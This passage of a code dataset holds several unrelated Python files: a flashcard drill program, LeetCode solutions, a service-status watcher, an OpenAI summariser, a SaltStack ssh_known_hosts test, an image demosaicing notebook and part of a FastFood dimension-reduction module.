'Y':\n\t\t\t\tcard.ch_flag()\t\t\t\t\t# Flag card for review if 'Y/y'\n\t\tprint(self.hr)\n\t\tprint(\"End of deck\\n\")\n\t\tprint(self.hr)\n\n\tdef drill_flags(self, rev=False):\n\t\tself.new_flag_round = False\t\t\t\t# Reset new round indicator\n\t\tself.shuffle()\t\t\t\t\t\t\t# Shuffle for new flag round\n\n\t\tif self.gate == False:\t\n\t\t\tfor card in self.cards:\t\t\t\t# If no gate: Remove unflagged cards\n\t\t\t\tif card.get_flag() == False: card.remove_card()\n\t\t\t\t\t\t\t\t\t\t\t\t# Generates list alternating\n\t\t\tself.flagged_cards = [card for card in self.cards \t# flagged and\n\t\t\t\tif card.get_flag()]\t\t\t\t\t\t\t\t# unflagged\n\t\telse:\t\t\t\t\t\t\t\t\t# If gate: Remove flagged cards\n\t\t\tfor card in self.cards:\n\t\t\t\tif card.get_flag(): card.remove_card()\n\t\t\tself.flagged_cards = [card for card in self.cards \n\t\t\t\tif not card.get_flag()]\n\t\tfor card in self.flagged_cards:\t\t\t# For flagged cards to run\n\t\t\tprint(self.hr)\n\t\t\tif rev: print(card.get_answer())\n\t\t\telse: print(card.get_question())\n\t\t\tinput('\\n---(press return to flip)---\\n')\n\t\t\tif rev: print(card.get_question())\n\t\t\telse: print(card.get_answer())\n\t\t\tprint(self.hr)\n\t\t\tself.yn = input('\\nFlag card for review (y/n)\\n')\n\t\t\tif self.yn == 'y' or self.yn == 'Y':\n\t\t\t\tnew_flag_round = True\t\t\t# Sets to remove unflagged cards\n\t\t\t\tcard.ch_flag()\t\t\t\t\t# Change flag to differentiate\n\t\tprint(self.hr)\n\t\tprint(\"End of deck\\n\")\n\t\tprint(self.hr)\t\t\t\t\n\t\tif new_flag_round: self.gate *= -1\t\t# Change gate to look at other flag\n\n\n\tdef run_menu(self):\n\t\twhile True:\t\t\t\t\t\t\t\t# Run until 'break'\n\t\t\tprint(self.m_hr)\n\t\t\tprint(\"FLASHCARDS MENU\")\n\t\t\tprint(\"1: Run Questions\")\n\t\t\tprint(\"2: Run Answers\")\n\t\t\tprint(\"Q: Quit\")\n\t\t\tprint(self.m_hr)\n\t\t\tself.menu_response = input()\n\t\t\ttry:\n\t\t\t\tif int(self.menu_response) == 1: \n\t\t\t\t\tself.drill()\n\t\t\t\t\tself.run_flags = input(\"Review flagged cards? (y/n)\\n\")\n\t\t\t\t\twhile self.run_flags == 'y' or self.run_flags == 'Y':\n\t\t\t\t\t\tself.drill_flags()\n\t\t\t\telif int(self.menu_response) == 2: \n\t\t\t\t\tself.drill(rev=True)\n\t\t\t\t\tself.run_flags = input(\"Review flagged cards? (y/n)\\n\")\n\t\t\t\t\twhile self.run_flags == 'y' or self.run_flags == 'Y':\n\t\t\t\t\t\tself.drill_flags(rev=True)\n\t\t\texcept:\n\t\t\t\tif self.menu_response == 'q' or self.menu_response == 'Q': break\n\npy_study = Deck()\nnew_cards = []\n\n# Definitions for card objects\nnew_cards.append(Card('List Comprehension', \n\t'[i for i in range(min, max)]'))\nnew_cards.append(Card('Bernoulli Distribution', \n\t'Probability distribution with binary outcomes over a single trial'))\n\"\"\"\nnew_cards.append(Card('Binomial Distribution', \n\t'Probability distribution with binary outcomes over multiple trials'))\nnew_cards.append(Card('Poisson Distribution', \n\t'Probability distribution with binary outcomes given lambda over time'))\nnew_cards.append(Card('Discrete Probability Distribution', \n\t'Probability distribution with finite (countable) possible outcomes'))\nnew_cards.append(Card('Continuous Probability Distribution', \n\t'Probability distribution with infinite (float) possible outcomes'))\nnew_cards.append(Card('Probability Mass Function', \n\t'Probability that discrete outcome will occur over X number of trials'))\nnew_cards.append(Card('Cumulative Density Function',\n\t'Probability that discrete/continuous outcome X or less will occur'))\n\"\"\"\n\n# Adds all cards to master deck\nfor card in new_cards:\n\tpy_study.add_card(card)\n\npy_study.run_menu()\t\t\t\t\t\t\t# Runs program\n\n","repo_name":"twludlow/flashcards","sub_path":"flashcards.py","file_name":"flashcards.py","file_ext":"py","file_size_in_byte":5744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15210472479","text":"\"\"\"\n\n# TODO\n\n[32] Longest Valid Parentheses\n\n\nGiven a string containing just the characters '(' and ')', find the length of the longest valid (well-formed) parentheses substring.\n\n\n--------------------------------------------------\n\nExample 1:\n\n\nInput: s = \"(()\"\nOutput: 2\nExplanation: The longest valid parentheses substring is \"()\".\n\n\n--------------------------------------------------\n\nExample 2:\n\n\nInput: s = \")()())\"\nOutput: 4\nExplanation: The longest valid parentheses substring is \"()()\".\n\n\n--------------------------------------------------\n\nExample 3:\n\n\nInput: s = \"\"\nOutput: 0\n\n\n\nConstraints:\n\n\n\t0 <= s.length <= 3 * 10⁴\n\ts[i] is '(', or ')'.\n\n################################################################\n\n\n32. 最长有效括号\n给你一个只包含 '(' 和 ')' 的字符串,找出最长有效(格式正确且连续)括号子串的长度。\n\n\n\n示例 1:\n\n输入:s = \"(()\"\n输出:2\n解释:最长有效括号子串是 \"()\"\n\n\n示例 2:\n\n输入:s = \")()())\"\n输出:4\n解释:最长有效括号子串是 \"()()\"\n\n\n示例 3:\n\n输入:s = \"\"\n输出:0\n\n\n提示:\n\n0 <= s.length <= 3 * 104\ns[i] 为 '(' 或 ')'\n\n\n\"\"\"\n\nimport sys\nimport inspect\nimport os\nimport unittest\nfrom os.path import abspath, join, dirname\nfrom typing import *\n\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nparentdir = os.path.dirname(parentdir) # algo\nparentdir = os.path.dirname(parentdir) # leetcode\nparentdir = os.path.dirname(parentdir) # algo\nsys.path.insert(0, parentdir)\n# print(sys.path)\n\n\nfrom algo.tree.builder import *\n\n\nclass Solution:\n \"\"\"\n 对于遇到的每个 '(' ,我们将它的下标放入栈中\n 对于遇到的每个 ')' ,我们先弹出栈顶元素表示匹配了当前右括号:\n 如果栈为空,说明当前的右括号为没有被匹配的右括号,我们将其下标放入栈中来\n 更新我们之前提到的「最后一个没有被匹配的右括号的下标」\n 如果栈不为空,当前右括号的下标减去栈顶元素即为\n 「以该右括号为结尾的最长有效括号的长度」\n\n 作者:LeetCode-Solution\n 链接:https://leetcode.cn/problems/longest-valid-parentheses/solution/zui-chang-you-xiao-gua-hao-by-leetcode-solution/\n 来源:力扣(LeetCode)\n 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n\n \"\"\"\n\n def s1(self, s):\n stack = [-1]\n ans = 0\n for i in range(len(s)):\n if s[i] == \"(\":\n stack.append(i)\n elif s[i] == \")\":\n stack.pop()\n if stack:\n ans = max(ans, i - stack[-1])\n else:\n stack.append(i)\n\n return ans\n\n def s2(self, s):\n if not s:\n return 0\n\n N = len(s)\n # dp[i] 表示以 s[i] 结尾的,最长有效括号长度\n dp = [0] * N\n stack = []\n for i in range(N):\n if s[i] == \"(\":\n stack.append(s[i])\n else: # ')'\n if stack:\n stack.pop()\n pair_count = 2 + dp[i - 1]\n # 查看当前有效括号长度之前的 dp 数组结果\n pre_index = i - pair_count\n if pre_index > 0:\n pair_count += dp[pre_index]\n dp[i] = pair_count\n\n return max(dp)\n\n def longestValidParentheses(self, s: str) -> int:\n # return self.s1(s)\n\n return self.s2(s)\n\n\nclass TestSolution(unittest.TestCase):\n def setUp(self):\n self.sl = Solution()\n\n def test_sl(self):\n s = \"()(())\"\n self.assertEqual(\n self.sl.longestValidParentheses(s),\n 6,\n )\n print(\"################\")\n\n def test_sl2(self):\n s = \"()(()\"\n self.assertEqual(\n self.sl.longestValidParentheses(s),\n 2,\n )\n print(\"################\")\n\n def test_sl3(self):\n s = \")()())\"\n self.assertEqual(\n self.sl.longestValidParentheses(s),\n 4,\n )\n print(\"################\")\n\n def test_sl4(self):\n s = \"(()\"\n self.assertEqual(\n self.sl.longestValidParentheses(s),\n 2,\n )\n print(\"################\")\n\n def test_sl5(self):\n s = \")()())\"\n self.assertEqual(\n self.sl.longestValidParentheses(s),\n 4,\n )\n print(\"################\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"shiyang07ca/lab","sub_path":"algo/oj/leetcode/algo/00032/sl.py","file_name":"sl.py","file_ext":"py","file_size_in_byte":4647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72174793851","text":"import json\nimport requests\nfrom helper import *\nimport system_status\nFEEDER_PROCESS_URL = \"http://172.16.13.61:6100/feeder_processes\"\n\n\ndef watch():\n statuses = []\n for url in SYSTEMS_TO_WATCH:\n status = system_status.SystemStatus(url, getCurrentStatus(url))\n statuses.append(status)\n\n return statuses\n\n\ndef getCurrentStatus(url):\n response = requests.head(url)\n return response.status_code\n\n\nSYSTEMS_TO_WATCH = [\n 'http://fund-clients-service-qa.aws.guideinvestimentos.com.br:7005/service_status',\n 'http://fund-data-service-qa.aws.guideinvestimentos.com.br:7000/service_status',\n 'http://localhost:7014/service_status'\n]\n","repo_name":"rlnascimento05/slackbot-guide","sub_path":"app/watcher.py","file_name":"watcher.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35687914561","text":"import openai\nfrom dotenv import load_dotenv\nimport os\n\nload_dotenv()\n\n#definicao da chave da API\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\ndef ler_arquivo(arquivo):\n with open(arquivo, 'r') as file:\n return file.read()\n \ndef resumo(texto):\n response = openai.Completion.create(\n engine=\"text-davinci-003\",\n #campo onde é inserido a requisição para o chatGPT\n prompt=f\"Resuma o seguinte texto: {texto}\",\n #temperature é o atributo que indica o nivel de ousadia na resposta, quanto mais próximo de 1, mais ousado é, e quanto mais proximo de 0, mais conservador é.\n temperature=1,\n max_tokens=2048,\n top_p=1,\n stop=None\n )\n resposta = response['choices'][0]['text'].strip()\n resposta.encode(\"utf-8\").decode()\n return resposta\n\narquivo = 'artigo.txt'\ntexto = ler_arquivo(arquivo)\n# print(texto)\nprint(resumo(texto))","repo_name":"mateuskienzle/openai_project","sub_path":"resumo.py","file_name":"resumo.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12851369444","text":"\"\"\"\nTest the ssh_known_hosts states\n\"\"\"\n\nimport os\nimport shutil\n\nimport pytest\n\nfrom tests.support.case import ModuleCase\nfrom tests.support.mixins import SaltReturnAssertsMixin\nfrom tests.support.runtests import RUNTIME_VARS\n\nGITHUB_FINGERPRINT = \"b8:d8:95:ce:d9:2c:0a:c0:e1:71:cd:2e:f5:ef:01:ba:34:17:55:4a:4a:64:80:d3:31:cc:c2:be:3d:ed:0f:6b\"\nGITHUB_IP = \"140.82.121.4\"\n\n\n@pytest.mark.skip_if_binaries_missing(\"ssh\", \"ssh-keygen\", check_all=True)\nclass SSHKnownHostsStateTest(ModuleCase, SaltReturnAssertsMixin):\n \"\"\"\n Validate the ssh state\n \"\"\"\n\n @classmethod\n def setUpClass(cls):\n cls.known_hosts = os.path.join(RUNTIME_VARS.TMP, \"known_hosts\")\n\n def tearDown(self):\n if os.path.isfile(self.known_hosts):\n os.remove(self.known_hosts)\n super().tearDown()\n\n @pytest.mark.slow_test\n def test_present(self):\n \"\"\"\n ssh_known_hosts.present\n \"\"\"\n kwargs = {\n \"name\": \"github.com\",\n \"user\": \"root\",\n \"enc\": \"ssh-rsa\",\n \"fingerprint\": GITHUB_FINGERPRINT,\n \"config\": self.known_hosts,\n }\n # test first\n ret = self.run_state(\"ssh_known_hosts.present\", test=True, **kwargs)\n self.assertSaltNoneReturn(ret)\n\n # save once, new key appears\n ret = self.run_state(\"ssh_known_hosts.present\", **kwargs)\n try:\n self.assertSaltTrueReturn(ret)\n except AssertionError:\n self.assertInSaltComment(\"Unable to receive remote host key\", ret)\n self.skipTest(\"Unable to receive remote host key\")\n\n self.assertSaltStateChangesEqual(\n ret, GITHUB_FINGERPRINT, keys=(\"new\", 0, \"fingerprint\")\n )\n\n # save twice, no changes\n self.run_state(\"ssh_known_hosts.present\", **kwargs)\n\n # test again, nothing is about to be changed\n ret = self.run_state(\"ssh_known_hosts.present\", test=True, **kwargs)\n self.assertSaltTrueReturn(ret)\n\n # then add a record for IP address\n # pylint: disable=repeated-keyword\n ret = self.run_state(\"ssh_known_hosts.present\", **dict(kwargs, name=GITHUB_IP))\n # pylint: enable=repeated-keyword\n try:\n self.assertSaltStateChangesEqual(\n ret, GITHUB_FINGERPRINT, keys=(\"new\", 0, \"fingerprint\")\n )\n except AssertionError:\n self.assertInSaltComment(\"Unable to receive remote host key\", ret)\n self.skipTest(\"Unable to receive remote host key\")\n\n # record for every host must be available\n ret = self.run_function(\n \"ssh.get_known_host_entries\",\n [\"root\", \"github.com\"],\n config=self.known_hosts,\n )[0]\n try:\n self.assertNotIn(ret, (\"\", None))\n except AssertionError:\n raise AssertionError(\"Salt return '{}' is in ('', None).\".format(ret))\n ret = self.run_function(\n \"ssh.get_known_host_entries\", [\"root\", GITHUB_IP], config=self.known_hosts\n )[0]\n try:\n self.assertNotIn(ret, (\"\", None, {}))\n except AssertionError:\n raise AssertionError(\n \"Salt return '{}' is in ('', None,\".format(ret) + \" {})\"\n )\n\n @pytest.mark.slow_test\n def test_present_fail(self):\n # save something wrong\n ret = self.run_state(\n \"ssh_known_hosts.present\",\n name=\"github.com\",\n user=\"root\",\n fingerprint=\"aa:bb:cc:dd\",\n config=self.known_hosts,\n )\n self.assertSaltFalseReturn(ret)\n\n @pytest.mark.slow_test\n def test_absent(self):\n \"\"\"\n ssh_known_hosts.absent\n \"\"\"\n known_hosts = os.path.join(RUNTIME_VARS.FILES, \"ssh\", \"known_hosts\")\n shutil.copyfile(known_hosts, self.known_hosts)\n if not os.path.isfile(self.known_hosts):\n self.skipTest(\n \"Unable to copy {} to {}\".format(known_hosts, self.known_hosts)\n )\n\n kwargs = {\"name\": \"github.com\", \"user\": \"root\", \"config\": self.known_hosts}\n # test first\n ret = self.run_state(\"ssh_known_hosts.absent\", test=True, **kwargs)\n self.assertSaltNoneReturn(ret)\n\n # remove once, the key is gone\n ret = self.run_state(\"ssh_known_hosts.absent\", **kwargs)\n self.assertSaltStateChangesEqual(\n ret, GITHUB_FINGERPRINT, keys=(\"old\", 0, \"fingerprint\")\n )\n\n # remove twice, nothing has changed\n ret = self.run_state(\"ssh_known_hosts.absent\", **kwargs)\n self.assertSaltStateChangesEqual(ret, {})\n\n # test again\n ret = self.run_state(\"ssh_known_hosts.absent\", test=True, **kwargs)\n self.assertSaltTrueReturn(ret)\n","repo_name":"saltstack/salt","sub_path":"tests/integration/states/test_ssh_known_hosts.py","file_name":"test_ssh_known_hosts.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"36405316039","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport logging\nfrom abc import ABCMeta, abstractmethod\nfrom typing import Callable, Union\n\nimport colorlog\nfrom pylfi.distances import euclidean\nfrom pylfi.utils.checks import check_distance_str\n\n\ndef setup_logger(name):\n \"\"\"Return a logger with a default ColoredFormatter.\"\"\"\n formatter = colorlog.ColoredFormatter(\n \"%(log_color)s%(levelname)-8s%(reset)s %(blue)s%(message)s\",\n datefmt=None,\n reset=True,\n log_colors={\n \"DEBUG\": \"cyan\",\n \"INFO\": \"green\",\n \"WARNING\": \"yellow\",\n \"ERROR\": \"red\",\n \"CRITICAL\": \"red\",\n },\n )\n\n logger = logging.getLogger(name)\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n logger.setLevel(logging.INFO)\n\n return logger\n\n\n# class ABCBase(metaclass=ABCMeta):\nclass ABCBase:\n def __init__(self, observation, simulator, statistics_calculator, priors, distance_metric, seed):\n \"\"\"\n simulator : callable\n simulator model\n summary_calculator : callable, defualt None\n summary statistics calculator. If None, simulator should output\n sum stat\n distance : str\n Can be a custom function or one of l1, l2, mse\n distance_metric : callable\n discrepancy measure\n \"\"\"\n self._obs_data = observation\n self._stat_calc = statistics_calculator\n self._simulator = simulator\n self._priors = priors\n self._seed = seed\n\n if isinstance(self._obs_data, tuple):\n self._obs_sumstat = self._stat_calc(*self._obs_data)\n else:\n self._obs_sumstat = self._stat_calc(self._obs_data)\n\n # Select distance function.\n if callable(distance_metric):\n self._distance_metric = distance_metric\n elif isinstance(distance_metric, str):\n check_distance_str(distance_metric)\n self._distance_metric = self._choose_distance(distance_metric)\n else:\n raise TypeError()\n\n #self.logger = setup_logger(self.__class__.__name__)\n #self.logger = colorlog.getLogger(self.__class__.__name__)\n\n @abstractmethod\n def sample(self):\n \"\"\"To be overwritten by sub-class: should implement sampling from\n inference scheme and return journal.\n\n Returns\n -------\n pylfi.journal\n Journal\n \"\"\"\n\n raise NotImplementedError\n\n @staticmethod\n def _choose_distance(distance):\n \"\"\"Return distance function for given distance type.\"\"\"\n if distance == 'l1':\n return None\n elif distance == 'l2':\n return euclidean\n elif distance == 'mse':\n return None\n\n @staticmethod\n def run_lra():\n \"\"\"Linear regression adjustment as in Beaumont et al. 2002.\n \"\"\"\n pass\n","repo_name":"nicolossus/pylfi","sub_path":"_dev/inferences/abc_base2.py","file_name":"abc_base2.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27464823968","text":"class Solution(object):\n def findKthLargest(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n\n \"\"\"\n # Method 1: O(k+(n-k)lgk) time, min-heap\n heap = []\n for num in nums:\n heapq.heappush(heap, num)\n for _ in xrange(len(nums)-k):\n heapq.heappop(heap)\n return heapq.heappop(heap)\n \"\"\"\n\n # Method 2 O(nlogk)\n h = []\n for n in nums:\n if len(h) < k:\n heapq.heappush(h, n)\n else:\n heapq.heappushpop(h, n)\n return h[0]","repo_name":"DanishKhan14/DumbCoder","sub_path":"Python/heap/kthLargestNumber.py","file_name":"kthLargestNumber.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30409807","text":"import argparse\n\nimport matplotlib.pyplot as plt\n\nfrom . import huber, hypres, ibm\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--draw\",\n action=\"store_true\",\n help=\"Use Device.draw() instead of Device.plot()\",\n )\n parser.add_argument(\n \"--same-scale\",\n action=\"store_true\",\n help=\"Whether to plot all devices on the same scale.\",\n )\n parser.add_argument(\n \"--no-terminals\", action=\"store_true\", help=\"Set with_terminals=False\"\n )\n args = parser.parse_args()\n\n squid_funcs = [\n hypres.small.make_squid,\n ibm.small.make_squid,\n ibm.medium.make_squid,\n ibm.large.make_squid,\n ibm.xlarge.make_squid,\n huber.make_squid,\n ]\n\n plt.rcParams[\"savefig.dpi\"] = 200\n\n fig, axes = plt.subplots(\n 1,\n len(squid_funcs),\n figsize=(len(squid_funcs) * 3, 3),\n sharex=args.same_scale,\n sharey=args.same_scale,\n constrained_layout=True,\n )\n\n for ax, make_squid in zip(axes, squid_funcs):\n squid = make_squid(with_terminals=(not args.no_terminals))\n if args.draw:\n squid.draw(ax=ax, legend=False)\n else:\n squid.plot_polygons(ax=ax, legend=False)\n ax.set_title(make_squid.__module__)\n plt.show()\n","repo_name":"loganbvh/superscreen","sub_path":"docs/notebooks/squids/show_all.py","file_name":"show_all.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"78"} +{"seq_id":"3787683510","text":"# print(6,[1,2,3,4,5,4,7])\n\ndef solve(n, arr):\n l2=list()\n for i in range(len(arr)):\n if arr[i] not in l2:\n l2.append(arr[i])\n\n if len(l2) == len(arr):\n print(\"0\")\n else:\n print(\"1\")\n\n \n # print(\"1\") if len(l2) != n else print(\"0\")\n \n\n\n\nsolve(6,[1,2,3,4,5,4,7])","repo_name":"MrTypeError/DSA","sub_path":"Time Complexity/Finding_Duplicate.py","file_name":"Finding_Duplicate.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"39784617781","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# Trying to gin up a human-readable, simple-minded (bilinear interpolation) algorithm for de-mosaicing a\n# sensor readout that has an RGGB color filter array (CFA).\n\n# Red filters lie over cells whose x coordinate is even and whose y coordinate is even: even, even\n# Blue filters: odd, odd\n# Green filters: even, odd *and* odd, even.\n\n\n# In[2]:\n\n\nimport numpy as np\nfrom PIL import Image\n\n\n# In[13]:\n\n\n# Image dimensions\nwidth = 255\nheight = 255\n\n# Dummy image data is grayscale - single component, 0..255.\n# Build it up as a gradient.\n# Give it a demosaiced red tinge by boosting pixels that should be\n# under a red filter in the Bayer image pattern.\ndummy_image_data = []\nfor y in range(height):\n row = []\n for x in range(width):\n red_boost = 100 if (x % 2, y % 2) == (0, 0) else 0\n row.append(min(255, x + red_boost))\n dummy_image_data.append(row)\n\n\ngray_image_data = np.array(dummy_image_data, dtype=np.uint8)\nprint(\"Dummy image data:\", gray_image_data)\n# PIL seems to be ignoring my mode, dangit.\ngray_img = Image.fromarray(gray_image_data, mode=\"L\")\ngray_img.show()\n\nprint(\"Converted back to numpy array:\")\nprint(np.asarray(gray_img))\n\n\n# In[14]:\n\n\n# Offset of each color component within a pixel:\nR = 0\nG = 1\nB = 2\n\n# filter pattern, addressable as [y][x]\npattern = [\n [R, G],\n [G, B]\n]\n\n# Demosaiced image data is RGB - three components.\ndemosaiced = []\nfor y in range(height):\n row = [[0, 0, 0] for x in range(width)]\n demosaiced.append(row)\n\n\ndef indices(v, limit):\n result = []\n for offset in [-1, 0, 1]:\n index = v + offset\n if 0 <= index < limit:\n result.append(index)\n return result\n\n\ndef channel(x, y):\n x_pattern = x % 2\n y_pattern = y % 2\n return pattern[y_pattern][x_pattern]\n\n\ndef demosaic(sensor_image, demosaiced, width, height):\n for x_image in range(width):\n x_indices = indices(x_image, width)\n for y_image in range(height):\n y_indices = indices(y_image, height)\n\n sums = {R: 0, G: 0, B: 0}\n counts = {R: 0, G: 0, B: 0}\n\n for x in x_indices:\n for y in y_indices:\n c = channel(x, y)\n sums[c] += sensor_image[y][x]\n counts[c] += 1\n for c in [R, G, B]:\n intensity = sums[c] / counts[c] if counts[c] > 0 else 0\n # May as well convert to 8-bit integer.\n pixel_value = min(255, max(0, int(intensity)))\n demosaiced[y_image][x_image][c] = pixel_value\n\n\ndemosaic(dummy_image_data, demosaiced, width, height)\n\n\n# In[15]:\n\n\ncolor_img = Image.fromarray(np.array(demosaiced, dtype=np.uint8), mode=\"RGB\")\ncolor_img.show()\n","repo_name":"mchapman87501/go_mars_2020_img_utils","sub_path":"notebooks/De-mosaicing.py","file_name":"De-mosaicing.py","file_ext":"py","file_size_in_byte":2765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33078396737","text":"class Solution:\n def checkInclusion(self, s1: str, s2: str) -> bool:\n\n s1 = [ord(i) - ord('a') for i in s1]\n s2 = [ord(j) - ord('a') for j in s2]\n\n end=len(s1)\n start = 0\n while end <= len(s2):\n if sorted(s1) == sorted(s2[start:end]):\n return True\n else:\n start += 1\n end += 1\n return False\n","repo_name":"himanshu1214/Tech-interview-LeetCode-Blogs","sub_path":"Sorting/permutation_in_string.py","file_name":"permutation_in_string.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40104676802","text":"from functools import partial\nfrom itertools import repeat\nfrom torch._six import container_abcs\n\nimport logging\nimport os\n\nimport numpy as np\nimport scipy\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom timm.models.layers import DropPath, trunc_normal_\n\n\n# From PyTorch internals\ndef _ntuple(n):\n def parse(x):\n if isinstance(x, container_abcs.Iterable):\n return x\n return tuple(repeat(x, n))\n return parse\n\n\nto_1tuple = _ntuple(1)\nto_2tuple = _ntuple(2)\nto_3tuple = _ntuple(3)\nto_4tuple = _ntuple(4)\nto_ntuple = _ntuple\n\n\nclass Mlp(nn.Module):\n def __init__(self,\n in_features,\n hidden_features=None,\n out_features=None,\n act_layer=nn.GELU,\n drop=0.):\n super().__init__()\n out_features = out_features or in_features\n hidden_features = hidden_features or in_features\n self.fc1 = nn.Linear(in_features, hidden_features)\n self.act = act_layer()\n self.fc2 = nn.Linear(hidden_features, out_features)\n self.drop = nn.Dropout(drop)\n\n def forward(self, x):\n x = self.fc1(x)\n x = self.act(x)\n x = self.drop(x)\n x = self.fc2(x)\n x = self.drop(x)\n return x\n\n\n\nclass FastFoodWrap(nn.Module):\n def __init__(self, module, intrinsic_dimension, device=0):\n \"\"\"\n Wrapper to estimate the intrinsic dimensionality of the\n objective landscape for a specific task given a specific model using FastFood transform\n :param module: pytorch nn.Module\n :param intrinsic_dimension: dimensionality within which we search for solution\n :param device: cuda device id\n \"\"\"\n super(FastFoodWrap, self).__init__()\n\n # Hide this from inspection by get_parameters()\n self.m = [module]\n\n self.name_base_localname = []\n\n # Stores the initial value: \\theta_{0}^{D}\n self.initial_value = dict()\n\n # Fastfood parameters\n self.fastfood_params = {}\n\n # Parameter vector that is updated\n # Initialised with zeros as per text: \\theta^{d}\n V = nn.Parameter(torch.zeros((intrinsic_dimension)).to(device))\n self.register_parameter(\"V\", V)\n v_size = (intrinsic_dimension,)\n\n # Iterate over layers in the module\n for name, param in module.named_parameters():\n # If param requires grad update\n if param.requires_grad:\n\n # Saves the initial values of the initialised parameters from param.data and sets them to no grad.\n # (initial values are the 'origin' of the search)\n self.initial_value[name] = v0 = (\n param.clone().detach().requires_grad_(False).to(device)\n )\n\n # Generate fastfood parameters\n DD = np.prod(v0.size())\n self.fastfood_params[name] = fastfood_vars(DD, device)\n\n base, localname = module, name\n while \".\" in localname:\n prefix, localname = localname.split(\".\", 1)\n base = base.__getattr__(prefix)\n self.name_base_localname.append((name, base, localname))\n\n for name, base, localname in self.name_base_localname:\n delattr(base, localname)\n\n def forward(self, x):\n # Iterate over layers\n for name, base, localname in self.name_base_localname:\n\n init_shape = self.initial_value[name].size()\n DD = np.prod(init_shape)\n\n # Fastfood transform te replace dence P\n ray = fastfood_torched(self.V, DD, self.fastfood_params[name]).view(\n init_shape\n )\n\n param = self.initial_value[name] + ray\n\n setattr(base, localname, param)\n\n # Pass through the model, by getting hte module from a list self.m\n module = self.m[0]\n x = module(x)\n return x\n\n\ndef fast_walsh_hadamard_torched(x, axis=0, normalize=False):\n \"\"\"\n Performs fast Walsh Hadamard transform\n :param x:\n :param axis:\n :param normalize:\n :return:\n \"\"\"\n orig_shape = x.size()\n assert axis >= 0 and axis < len(orig_shape), (\n \"For a vector of shape %s, axis must be in [0, %d] but it is %d\"\n % (orig_shape, len(orig_shape) - 1, axis)\n )\n h_dim = orig_shape[axis]\n h_dim_exp = int(round(np.log(h_dim) / np.log(2)))\n assert h_dim == 2 ** h_dim_exp, (\n \"hadamard can only be computed over axis with size that is a power of two, but\"\n \" chosen axis %d has size %d\" % (axis, h_dim)\n )\n\n working_shape_pre = [int(np.prod(orig_shape[:axis]))] # prod of empty array is 1 :)\n working_shape_post = [\n int(np.prod(orig_shape[axis + 1 :]))\n ] # prod of empty array is 1 :)\n working_shape_mid = [2] * h_dim_exp\n working_shape = working_shape_pre + working_shape_mid + working_shape_post\n\n ret = x.view(working_shape)\n\n for ii in range(h_dim_exp):\n dim = ii + 1\n arrs = torch.chunk(ret, 2, dim=dim)\n assert len(arrs) == 2\n ret = torch.cat((arrs[0] + arrs[1], arrs[0] - arrs[1]), axis=dim)\n\n if normalize:\n ret = ret / torch.sqrt(float(h_dim))\n\n ret = ret.view(orig_shape)\n\n return ret\n\n\ndef fastfood_vars(DD, device=0):\n \"\"\"\n Returns parameters for fast food transform\n :param DD: desired dimension\n :return:\n \"\"\"\n ll = int(np.ceil(np.log(DD) / np.log(2)))\n LL = 2 ** ll\n\n # Binary scaling matrix where $B_{i,i} \\in \\{\\pm 1 \\}$ drawn iid\n BB = torch.FloatTensor(LL).uniform_(0, 2).type(torch.LongTensor)\n BB = (BB * 2 - 1).type(torch.FloatTensor).to(device)\n BB.requires_grad = False\n\n # Random permutation matrix\n Pi = torch.LongTensor(np.random.permutation(LL)).to(device)\n Pi.requires_grad = False\n\n # Gaussian scaling matrix, whose elements $G_{i,i} \\sim \\mathcal{N}(0, 1)$\n GG = torch.FloatTensor(LL,).normal_().to(device)\n GG.requires_grad = False\n\n divisor = torch.sqrt(LL * torch.sum(torch.pow(GG, 2)))\n\n return [BB, Pi, GG, divisor, LL]\n\n\ndef fastfood_torched(x, DD, param_list=None, device=0):\n \"\"\"\n Fastfood transform\n :param x: array of dd dimension\n :param DD: desired dimension\n :return:\n \"\"\"\n dd = x.size(0)\n\n if not param_list:\n\n BB, Pi, GG, divisor, LL = fastfood_vars(DD, device=device)\n\n else:\n\n BB, Pi, GG, divisor, LL = param_list\n\n # Padd x if needed\n dd_pad = F.pad(x, pad=(0, LL - dd), value=0, mode=\"constant\")\n\n # From left to right HGPiH(BX), where H is Walsh-Hadamard matrix\n mul_1 = torch.mul(BB, dd_pad)\n # HGPi(HBX)\n mul_2 = fast_walsh_hadamard_torched(mul_1, 0, normalize=False)\n\n # HG(PiHBX)\n 